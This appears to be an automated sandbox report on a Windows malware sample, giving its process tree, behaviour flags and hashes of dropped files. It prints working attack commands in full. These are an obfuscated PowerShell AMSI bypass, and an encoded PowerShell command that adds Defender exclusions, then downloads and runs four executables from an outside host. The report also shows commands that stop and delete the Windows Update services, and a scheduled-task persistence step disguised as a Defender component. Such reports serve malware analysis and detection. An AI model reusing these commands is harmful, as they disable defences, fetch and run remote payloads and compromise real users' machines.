+''+'S'+'i'+'g'+','+'N'+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+'t'+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+'l',$ZDeeNbtcrx,$PjpgkFZgdltgJv).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'age'+'d'+'');Write-Output $LFuAwxksURo.CreateType();}$WudLbXeGtrpCR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+'t'+'e'+[Char](109)+'.'+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+'ro'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'af'+'e'+'W'+[Char](117)+''+'d'+''+'L'+''+[Char](98)+''+[Char](88)+'e'+[Char](71)+'t'+'r'+''+'p'+''+[Char](67)+'R');$PwAhdESkWLCRsj=$WudLbXeGtrpCR.GetMethod(''+[Char](80)+''+'w'+'A'+[Char](104)+''+[Char](100)+'E'+[Char](83)+''+[Char](107)+''+[Char](87)+''+[Char](76)+'C'+[Char](82)+''+[Char](115)+''+'j'+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$znnFTaZBxZbQcbvXByf=qmOhnztxVlwG @([String])([IntPtr]);$hfpiiZUxbPHEcKZprASpaE=qmOhnztxVlwG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NVqvSBPhfYz=$WudLbXeGtrpCR.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+'2'+'.'+''+'d'+''+[Char](108)+'l')));$SzmGwVCXDIUtVV=$PwAhdESkWLCRsj.Invoke($Null,@([Object]$NVqvSBPhfYz,[Object]('L'+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$qFnxonIoVSKQbBXdR=$PwAhdESkWLCRsj.Invoke($Null,@([Object]$NVqvSBPhfYz,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$RjkWqJj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SzmGwVCXDIUtVV,$znnFTaZBxZbQcbvXByf).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$gYnNjAYioaSEJuIyO=$PwAhdESkWLCRsj.Invoke($Null,@([Object]$RjkWqJj,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'fe'+'r'+'')));$aQxwFfrZIh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qFnxonIoVSKQbBXdR,$hfpiiZUxbPHEcKZprASpaE).Invoke($gYnNjAYioaSEJuIyO,[uint32]8,4,[ref]$aQxwFfrZIh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gYnNjAYioaSEJuIyO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qFnxonIoVSKQbBXdR,$hfpiiZUxbPHEcKZprASpaE).Invoke($gYnNjAYioaSEJuIyO,[uint32]8,0x20,[ref]$aQxwFfrZIh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+'d'+''+'i'+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1260
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:752
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2756
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:4908
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4656
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3344
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 1566⤵
- Program crash
PID:2452
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3452
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1016
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-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4808 -s 1483⤵
- Program crash
PID:552
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5084
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4800
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4712
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4072
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1972
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2968
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:100
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:372
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2252
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3784
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:2840
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 4808 -ip 48081⤵PID:4568
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 432 -ip 4321⤵PID:1384
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD53a0fffb985ffb435e499c1d9d4f01a8a
SHA11a7f0569fe2eed0e106992527c9bed9c5deddbe4
SHA256997aa9f871d3d61092538ae3bb07ef4f4ad09173864c107d7d24eb30a6889130
SHA5124a4ac3ca0251b7a4b1fc757cf61816853c03d0b45f433fe4911e938fd280b6a993708bcc8ea711120a448f78bac0f797be74dca0097a9af4bc7e08f9331a7d63
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5